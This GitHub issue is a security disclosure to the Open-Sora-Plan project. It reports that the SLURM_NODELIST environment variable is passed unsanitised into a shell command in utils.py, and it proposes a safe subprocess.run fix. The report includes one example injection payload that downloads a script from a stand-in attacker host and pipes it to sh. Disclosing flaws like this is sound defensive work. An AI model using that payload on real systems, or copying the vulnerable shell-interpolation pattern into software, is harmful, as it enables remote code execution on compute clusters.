Skip to content

Command Injection via SLURM_NODELIST in Distributed InitializationΒ #597

@DataWizual-Labs

Description

@DataWizual-Labs

Hi Open-Sora-Plan team,

During a security audit of the infrastructure utilities, I identified a command injection vulnerability in the Slurm-based distributed initialization logic.


πŸ“ Location

opensora/utils/utils.py:322


🚨 Vulnerable Code

node_list = os.environ["SLURM_NODELIST"]
addr = subprocess.getoutput(f"scontrol show hostname {node_list} | head -n1")

⚠️ Issue

The code uses subprocess.getoutput, which implicitly executes commands with shell=True, and directly interpolates the SLURM_NODELIST environment variable into the command string.

This introduces a command injection vulnerability, as no sanitization or validation is applied to node_list.


πŸ’₯ Impact

In Slurm environments, environment variables may be influenced during job submission. If an attacker controls SLURM_NODELIST, they can inject arbitrary shell commands.

Example payload:

SLURM_NODELIST="node1; curl http://attacker/payload.sh | sh"

This would result in arbitrary command execution on the compute node, potentially leading to:

  • Remote Code Execution (RCE)
  • Cluster compromise
  • Lateral movement across nodes

βœ… Recommended Fix

Avoid shell execution entirely and pass arguments safely:

import subprocess

result = subprocess.run(
    ["scontrol", "show", "hostname", node_list],
    capture_output=True,
    text=True,
    check=True
)

addr = result.stdout.splitlines()[0]

πŸ” Reason

  • Eliminates shell=True
  • Prevents command parsing by the shell
  • Ensures safe handling of untrusted input

I have verified this issue directly against the source code.

I can provide a patch or PR if needed.

Best regards,
DataWizual Lab Team

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions